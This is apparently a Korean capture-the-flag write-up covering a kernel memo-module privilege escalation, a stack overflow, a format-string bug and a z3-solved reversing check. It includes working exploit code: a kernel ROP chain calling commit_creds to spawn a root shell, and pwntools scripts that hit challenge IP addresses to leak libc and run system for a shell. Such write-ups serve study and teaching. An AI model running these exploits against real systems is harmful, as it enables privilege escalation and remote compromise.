웹 라업은 생략하는 걸로 ...
커널 모듈에서 발생하는 취약점이다.
ssize_t __fastcall memo_write(file *file, const char *buf, size_t count, loff_t *offset)
{
__int64 v4; // rdx
__int64 v5; // r12
size_t addr[3]; // [rsp+0h] [rbp-18h] BYREF
_fentry__(file, buf, count, offset);
v5 = v4;
addr[1] = __readgsqword(0x28u);
addr[0] = 0LL;
copy_from_user(addr, buf, 8LL);
memo_fops.release = (int (*)(inode *, file *))addr[0];
return v5;
}
write시 fops의 함수 포인터를 덮을 수 있다.
v7 = 0LL;
v11 = __readgsqword(0x28u);
memset(result, 0, sizeof(result));
do
{
v8 = chunk_pointers[v7];
if ( v8 )
v4 += sprintf(&result[v4], "%d : %s\n", (unsigned int)v7, v8->data);
++v7;
}
while ( top >= v7 );
copy_to_user(buf, result, 0x2000LL);
return v6;
read시 특정 인덱스에 대해서 읽을 수 있다.
if ( (_DWORD)cmd == 1074294018 )
{
if ( !(unsigned int)copy_from_user(&data, v4, 132LL) )
{
if ( data.index > 9u )
return -22LL;
v14 = chunk_pointers[data.index];
if ( !v14 )
return -22LL;
if ( v14->data[0] )
{
copy_to_user(v6 + 4, v14, 127LL);
return 0LL;
}
return 0LL;
}
return -14LL;
}
if ( (unsigned int)cmd > 0x40086D02 )
{
if ( (_DWORD)cmd != 1074294019 )
return -25LL;
if ( !(unsigned int)copy_from_user(&data, v4, 132LL) )
{
if ( data.index < 0 )
return -22LL;
if ( data.index > top )
return -22LL;
v10 = chunk_pointers[data.index];
if ( !v10 )
return -22LL;
if ( data.data[0] )
{
memset(v10, 0, 0x78uLL);
*(_WORD *)&v10->data[124] = 0;
index = data.index;
*(_DWORD *)&v10->data[120] = 0;
v10->data[126] = 0;
strncpy(chunk_pointers[index]->data, data.data, 0x7FuLL);
}
return 0LL;
}
return -14LL;
}
if ( (_DWORD)cmd != 27905 )
{
if ( (_DWORD)cmd == 27908 )
{
if ( top )
{
v7 = chunk_pointers[top - 1];
if ( v7 )
{
kfree(v7, cmd, v4, 0LL, v5, &data);
v8 = top - 1;
chunk_pointers[v8] = 0LL;
top = v8;
return 0LL;
}
return -22LL;
}
return -14LL;
}
return -25LL;
}
v12 = top;
if ( top > 9 )
return -22LL;
chunk_pointers[v12] = (chunk_t_0 *)kmem_cache_alloc_trace(kmalloc_caches[7], 3264LL, 128LL, 0LL, v5, &data);
v13 = chunk_pointers[top];
if ( !v13 )
return -12LL;
memset(v13, 0, sizeof(chunk_t_0));
result = 0LL;
++top;
return result;
모듈에서 할당과 해제가 가능하다.
이때 idx는 맥시멈 9까지 총 10개의 청크를 할당할 수 있다.
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#define ioread 0x40086D02
#define iowrite 0x40086D03
#define iokfree 0x00086D04
#define ioalloc 0x00006D01
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
void shell(){
execl("/bin/sh","sh",NULL);
}
uint64_t xchg_esp;
void save_state(){
__asm__ __volatile__ (
".intel_syntax noprefix;"
"mov user_cs, cs;"
"pushf;"
"pop user_rflags;"
"mov user_rsp, rsp;"
"mov user_ss, ss;"
".att_syntax;"
);
}
void gad(){
__asm__ __volatile__ (
".intel_syntax noprefix;"
"mov rdi, rax;"
"ret;"
".att_syntax;"
);
}
void gad1(){
__asm__ __volatile__ (
".intel_syntax noprefix;"
"swapgs;"
"iretq;"
".att_syntax;"
);
}
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t prdi;
uint64_t push_rax;
void prep_usr_sp(uint64_t xchg_64){
uint64_t xchg_32 = (uint64_t *)(xchg_64 & 0xffffffff);
uint64_t * ptr = mmap((void *)(xchg_32), 0x5000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1, 0);
*(uint64_t *)(xchg_32) = prdi; // prdi ret
*(uint64_t *)(xchg_32+8) = 0x0LL;
*(uint64_t *)(xchg_32+8*2) = prepare_kernel_cred;
*(uint64_t *)(xchg_32+8*3) = gad+8;
*(uint64_t *)(xchg_32+8*4) = commit_creds;
*(uint64_t *)(xchg_32+8*5) = gad1+8;
*(uint64_t *)(xchg_32+8*6) = shell;
*(uint64_t *)(xchg_32+8*7) = user_cs;
*(uint64_t *)(xchg_32+8*8) = user_rflags;
*(uint64_t *)(xchg_32+8*9) = user_rsp;
*(uint64_t *)(xchg_32+8*10) = user_ss;
}
int main(){
save_state();
struct ioctl_user {
int cnt;
char data[128];
} io;
io.cnt = 0x5;
int dev = open("/dev/memo",O_RDWR);
for (int i=0;i<10;i++){
printf("ioalloc : %lx\n",ioctl(dev,ioalloc,&io));
}
char * v = malloc(0x2000);
read(dev,v,0x2000);
commit_creds = *(uint64_t *)(v+52+3);
prepare_kernel_cred = commit_creds + 0x320;
prdi = (commit_creds & 0xffffffffff000000) + 0x1925e1;
push_rax = 0x0604cc + (commit_creds & 0xffffffffff000000);
printf("commit creds : %lx\n",commit_creds);
uint64_t buf = (commit_creds & 0xffffffffff000000) + 0x5bcb6;
write(dev, &buf, 0x8);
prep_usr_sp(buf);
close(dev);
}
read 과정에서 chunk를 다 채웠을때 off by one이 발생해서 허용되지 않은 메모리 영역을 읽을 수 있다.
이때 코드 섹션의 주소를 릭할 수 있어서 이걸 이용한다.
xchg esp 가젯을 이용하면 상위 포인터를 손실시킬 수 있고, 이를 이용해서 유저영역 메모리로 점프할 수 있다.
마침 SMAP, SMEP도 없다.
"3. The amount of water to give to the seeds \n"
"4. Exit \n");
puts(line);
puts("[>] Number: ");
__isoc99_scanf(" %d", &v4);
if ( v4 == 4 )
break;
if ( v4 > 4 )
{
LABEL_18:
if ( ((*__ctype_b_loc())[SLOBYTE(buf[0])] & 0x800) == 0 )
{
puts("Input is incorrect ");
exit(1);
}
}
else
{
switch ( v4 )
{
case 3:
puts("[>] The amount of water to give to the seeds ");
puts("1. 50ml\n2. 100ml\n3. 200ml");
__isoc99_scanf("%d", &v5);
switch ( v5 )
{
case 1:
puts(seed_o);
puts("You chose to give 50ml of water");
break;
case 2:
puts(seed_t);
puts("You chose to give 100ml of water");
break;
case 3:
puts(seed_th);
puts("You chose to give 200ml of water");
break;
default:
puts(seed_th);
puts("The seed has dried up and withered");
break;
}
break;
case 1:
puts("[>] The location to sow seeds ");
__isoc99_scanf("%d", &v6);
printf("You planted it in %p !!! \n", (const void *)v6);
break;
case 2:
puts("[>] The depth of the seeds planted in the ground ");
read(0, buf, 0x48uLL);
break;
default:
goto LABEL_18;
}
}
}
puts("Good bye!");
return 0;
}
입력을 받아주는 부분에서 bof가 발생한다.
from pwn import *
# p = process('./bloom')
p = remote('211.229.232.109',1004)
e = ELF('./bloom')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
prdi = 0x0000000000401513
p.sendlineafter(b'4. Exit \n',b'2')
p.send(b'A'*0x28 + p64(prdi) + p64(0x404040)+p64(e.plt.puts)+p64(0x004012A6))
p.sendlineafter(b'4. Exit \n',b'4')
context.log_level='debug'
p.recvuntil(b'Good bye!\n')
libc_base = (u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))) - libc.sym._IO_2_1_stdout_
success(hex(libc_base))
p.sendlineafter(b'4. Exit \n',b'2')
p.send(b'A'*0x28 + p64(prdi) + p64(libc_base+0x1d8698)+p64(0x000000000040101a)+p64(libc_base + libc.sym.system))
pause()
p.sendlineafter(b'4. Exit \n',b'4')
p.interactive()
ROP를 했다.
break;
case 3:
result = printf("[Computers don't lie. It's always me who lies.]");
break;
case 4:
result = printf(byte_4120);
break;
case 5:
result = printf(byte_4160);
break;
default:
return result;
}
return result;
}
fsb가 발생한다.
from pwn import *
#p = process('./yisf_library',env={"LD_PRELOAD":"./libc.so.6"})
p = remote('211.229.232.106',1004)
context.binary = './yisf_library'
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'number>',b'2')
p.sendlineafter(b'rewrite :',b'%p %p %p %p %p %p %p %p %p %p %p %p %p')
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'> ',b'2')
arr = (p.recv()[:-1].split())
print(arr)
bin_base = int(arr[1],16) - 0x27e0
libc_base = int(arr[-1],16) - 0x29d90
stack = int(arr[7],16)
success("bin base : " + hex(bin_base))
success("libc base : "+ hex(libc_base))
success("stack : " + hex(stack))
context.log_level='debug'
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'number>',b'0')
p.sendafter(b'rewrite : ',p64(0x7fff))
p.sendlineafter(b'> ',b'2')
pause()
p.sendlineafter(b': ',b'\x00'*0x48 + p64(0x000000000002a3e5+libc_base) + p64(0x1d8698 + libc_base) + p64(0x000000000000101a + bin_base) +p64(0x0000000000050d60 + libc_base))
p.interactive()
fsb로 한번은 릭하고 한번은 read의 size를 덮어서 ROP 했다.
setup_environment(argc, argv, envp);
memset(v4, 0, sizeof(v4));
v5 = 0;
v6 = 0;
s = (char *)v4;
printf("Input: ");
__isoc99_scanf("%s", s);
if ( strlen(s) == 29
&& s[2] + s[4] - s[5] * s[1] - *s - s[6] * s[3] == 0xFFFFDC99
&& s[7] - s[2] + s[6] * s[4] * s[3] - s[5] - s[1] == 0xA6062
&& s[6] + s[7] + s[4] + s[3] - s[2] * s[5] + s[8] == 0xFFFFF13F
&& s[5] + s[7] + s[6] - s[3] * s[4] - s[9] - s[8] == 0xFFFFDE7F
&& s[8] + s[7] + s[5] - s[4] * s[10] + s[9] + s[6] == 0xFFFFD682
&& s[9] + s[5] + s[6] - s[11] + s[10] * s[7] + s[8] == 0x1244
&& s[9] + s[7] + s[12] + s[11] + s[9] - s[10] - s[6] == 0xEC
&& s[8] + s[7] - s[9] + s[10] * s[11] - s[12] - s[13] == 0x1036
&& s[11] + s[14] + s[8] + s[9] * s[13] - s[12] + s[10] == 0x2683
&& s[14] + s[11] - s[12] + s[9] * s[15] - s[10] + s[13] == 0x2A78
&& s[16] + s[14] + s[12] + s[10] - s[11] - s[13] - s[15] == 0x52
&& s[14] - s[11] - s[12] + s[17] - s[15] * s[13] + s[16] == 0xFFFFD2AF
&& s[17] + s[12] * s[13] - s[14] + s[15] * s[16] - s[18] == 0x428F
&& s[13] + s[14] - s[15] * s[16] + s[17] * s[18] - s[19] == 0xBC
&& s[17] * s[18] + s[16] + s[14] - s[15] - s[20] * s[19] == 0xFFFFE8BF
&& s[18] + s[16] + s[15] - s[17] - s[19] + s[20] * s[21] == 0x2CBF
&& s[17] * s[18] + s[16] + s[19] * s[20] - s[21] + s[22] == 0x4306
&& s[17] - s[18] - s[19] * s[20] - s[21] * s[22] - s[23] == 0xFFFFAC31
&& s[19] * s[20] + s[18] + s[21] * s[22] - s[23] + s[24] == 0x53F6
&& s[19] + s[20] - s[25] * s[24] * s[23] * s[22] * s[21] == 0xFF9393CB
&& s[23] + s[20] - s[21] * s[22] - s[24] * s[25] + s[26] == 0xFFFFB9D1
&& s[21] * s[26] - s[24] - s[25] + s[22] * s[23] * s[27] == 0x6942D
&& s[27] + s[23] * s[22] + s[24] - s[25] * s[26] - s[28] == 0xFFFFECEC )
{
printf("Corret (^-^)");
}
else
{
printf("Wrong input (*_*)");
}
return 0;
}
심플하게 입력받고 조금 비교한뒤에 correct or wrong을 출력한다.
from z3 import *
s = Solver()
x = [BitVec("x_%d"%i,64) for i in range(29)]
d = [i for i in x]
for i in range(29):
x[i] &= 0xff
s.add( (x[2] + x[4] - x[5] * x[1] - x[0] - x[6] * x[3])&0xffffffff == 0xFFFFDC99)
s.add((x[7] - x[2] + x[6] * x[4] * x[3] - x[5] - x[1])&0xffffffff== 0xA6062)
s.add((x[6] + x[7] + x[4] + x[3] - x[2] * x[5] + x[8])&0xffffffff== 0xFFFFF13F)
s.add((x[5] + x[7] + x[6] - x[3] * x[4] - x[9] - x[8])&0xffffffff== 0xFFFFDE7F)
s.add((x[8] + x[7] + x[5] - x[4] * x[10] + x[9] + x[6])&0xffffffff== 0xFFFFD682)
s.add((x[9] + x[5] + x[6] - x[11] + x[10] * x[7] + x[8])&0xffffffff== 0x1244)
s.add((x[9] + x[7] + x[12] + x[11] + x[9] - x[10] - x[6])&0xffffffff== 0xEC)
s.add((x[8] + x[7] - x[9] + x[10] * x[11] - x[12] - x[13])&0xffffffff== 0x1036)
s.add((x[11] + x[14] + x[8] + x[9] * x[13] - x[12] + x[10])&0xffffffff== 0x2683)
s.add((x[14] + x[11] - x[12] + x[9] * x[15] - x[10] + x[13])&0xffffffff== 0x2A78)
s.add((x[16] + x[14] + x[12] + x[10] - x[11] - x[13] - x[15])&0xffffffff== 0x52)
s.add((x[14] - x[11] - x[12] + x[17] - x[15] * x[13] + x[16])&0xffffffff== 0xFFFFD2AF)
s.add((x[17] + x[12] * x[13] - x[14] + x[15] * x[16] - x[18])&0xffffffff== 0x428F)
s.add((x[13] + x[14] - x[15] * x[16] + x[17] * x[18] - x[19])&0xffffffff== 0xBC)
s.add((x[17] * x[18] + x[16] + x[14] - x[15] - x[20] * x[19])&0xffffffff== 0xFFFFE8BF)
s.add((x[18] + x[16] + x[15] - x[17] - x[19] + x[20] * x[21])&0xffffffff== 0x2CBF)
s.add((x[17] * x[18] + x[16] + x[19] * x[20] - x[21] + x[22])&0xffffffff== 0x4306)
s.add((x[17] - x[18] - x[19] * x[20] - x[21] * x[22] - x[23])&0xffffffff== 0xFFFFAC31)
s.add((x[19] * x[20] + x[18] + x[21] * x[22] - x[23] + x[24])&0xffffffff== 0x53F6)
s.add((x[19] + x[20] - x[25] * x[24] * x[23] * x[22] * x[21])&0xffffffff== 0xFF9393CB)
s.add((x[23] + x[20] - x[21] * x[22] - x[24] * x[25] + x[26])&0xffffffff== 0xFFFFB9D1)
s.add((x[21] * x[26] - x[24] - x[25] + x[22] * x[23] * x[27])&0xffffffff== 0x6942D)
s.add((x[27] + x[23] * x[22] + x[24] - x[25] * x[26] - x[28])&0xffffffff== 0xFFFFECEC)
s.check()
m = s.model()
for i in d:
print(chr(m[i].as_long()),end='')
싹다 z3-solver에 때려 박아서 풀어버리면 나온다.